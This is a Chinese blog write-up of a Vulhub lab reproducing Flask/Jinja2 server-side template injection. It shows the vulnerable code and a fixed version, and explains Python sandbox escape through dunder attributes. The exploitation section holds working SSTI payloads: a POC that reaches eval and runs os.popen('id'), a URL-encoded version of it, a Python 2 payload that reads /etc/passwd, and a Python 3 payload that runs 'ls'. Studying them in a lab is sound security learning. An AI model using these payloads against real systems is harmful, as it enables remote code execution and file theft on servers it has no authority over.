flask ssti漏洞复现

开一个新坑关于漏洞复现,通过复现漏洞去学习一些东西,vulhub有太多环境了,这里先从一些自己比较熟悉的开始学习。所以选择了flask/ssti

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个
全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

分享一个好用的漏洞环境:Vulhub


前言

flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。上网找了找别人的分析文章。看了一大圈下来,发现都没怎么讲原理,都是直接开干,或许是这个漏洞太简单了吧233~。
不过最后还是找到一篇提了提原理的博客。贴在下面好了,因为我之前略微学了几天flask,所以这个漏洞原理理解复现起来还是挺顺畅的。
Flask(Jinja2) 服务端模板注入漏洞(SSTI)


基础知识

0x01 Flask

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask简单示例

flask简单易学,下面代码是flask版的hello world

1
2
3
4
5
6
7
8
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run()

简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。

flask就简单这么提一下吧,具体的我也写不来,毕竟这是分析flask/ssti漏洞,不是flask学习笔记,而且我flask也就之前看过几天。如果有想仔细学flask的兄贵的话,我只能在下面贴个pdf链接了。。
Flask-Web开发:基于Python的Web应用开发实战

0x02 Jinja2

Jinja2简介

Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句

Jinja2 模版部分语法

  1. 变量
    Jinja2 使用结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    1
    Hello, {{ name|capitalize }}
  2. if&for语句
    if语句简单示例

    1
    2
    3
    4
    5
    {% if user %}
    Hello,{{user}} !
    {% else %}
    Hello,Stranger!
    {% endif %}

    for语句循环渲染一组元素

    1
    2
    3
    4
    5
    <ul>
    {% for comment in comments %}
    <li>{{comment}}</li>
    {% endfor %}
    </ul>

漏洞原理

0x01 查看源码

  1. cd进flask/ssti目录,开启ssti环境

  2. 访问一下目标环境,可以看到开启成功

  3. 接下来看一下网页app.py源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from flask import Flask, request
    from jinja2 import Template

    app = Flask(__name__)

    @app.route("/")
    def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

    if __name__ == "__main__":
    app.run()

0x02 漏洞成因分析

可以看到上面第10行代码 t = Template("Hello " + name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如下图,页面返回54289,证明存在ssti漏洞

0x03 漏洞预防测试

当然这不是jinja 2的问题,而是网站开发人员的疏漏,如果我们可以对上面代码稍作修改,即可以避免

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello,{{n}} ")
return t.render(n=name)

if __name__ == "__main__":
app.run()

上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了


漏洞利用

前面分析了ssti漏洞成因,现在就来讲讲如何利用这个注入漏洞搞点事情。首先给出vulhub官网上的文档的POC,后面再分析原理。

获取eval函数执行任意代码测试

Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

直接访问下面链接,可以得到结果

1
http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D


python沙盒逃逸

上面的POC测试用到一堆python特殊方法,初一看还看不懂,于是网上找了找资料学习总结了一下。
找到的一些资料博客里管这个叫python沙盒逃逸。于是又查了下python沙盒逃逸的定义。

下面是一些python基础知识

python特殊方法

0x01 __class__

__class__,返回当前对象所属的类

0x02 __base__ && __bases__

__base__ 和 __bases__ 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。

0x03 __mro__

以元组形式返回继承关系链

0x04 __globals__

以dict形式返回函数所在模块命名空间中的所有变量

0x05 __subclasses__()

以列表形式返回类的子类

0x06 __builtin__ && __builtins__

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在builtins中可以查到。查看的方法是dir(builtins)。在控制台中直接输入builtins会看到如下情况(python2)

在python3中__builtin__被换成了builtin,python3中使用方法如下图

__builtin__ 和 __builtins__之间是什么关系呢?

  1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

  2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

利用python特殊方法bypass沙盒

0x01 用file对象读取文件(python2)

构造继承链的思路是

  1. 随便找一个内置类对象用class拿到他所对应的类
  2. bases拿到基类(
  3. subclasses()拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()

在这堆列表里找到file对应的对象

1
2
3
4
t = ().__class__.__bases__[0].__subclasses__()
for c in t:
if c.__name__ == 'file':
print t.index(c)


现在用dir查看file对象的内置方法:
dir(().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40])

利用readlines方法读取/etc/passwd文件
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines

故可以构造ssti payload

1
2
3
4
5
6
{% for c in ().__class__.__bases__[0].__subclasses__():%}
{% if c.__name__ == 'file':%}
{{"Success! File contents is <br />"}}
{% c('/etc/passwd').readlines() %}
{% endif %}
{% endfor %}

**注意: python3中file对象已不存在,故上面payload只适用于Python2

0x02寻找__builtins__中的eval

上面file对象只能Python2使用,那么如果遇上Python3该怎么办呢。
关于__builtins__,本文之前介绍python特殊方法是提到过,它包含了python的内置函数,而eval正在里面。所以只要找到eval,管他python2、python3,盘就完事了。

分别用python2、python3运行下面代码,找出含__builtins__的类,找一个python2、3共有的类

1
2
3
4
5
6
for c in ().__class__.__bases__[0].__subclasses__():
try: #这里代码为啥要用try呢,因为不是每个对象都有\_\_globals__
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass

如:_IterationGuard类是python 2、3共有
则可以构造下面payload,执行ls命令

1
2
3
4
5
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}


总结

整个ssti复现下来,感觉还是很轻松的,可能是对python flask比较熟悉吧,希望接下来的其他漏洞复现不会自闭。。。


参考

用python继承链搞事情
Flask(Jinja2) 服务端模板注入漏洞(SSTI)
Python沙箱逃逸总结

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------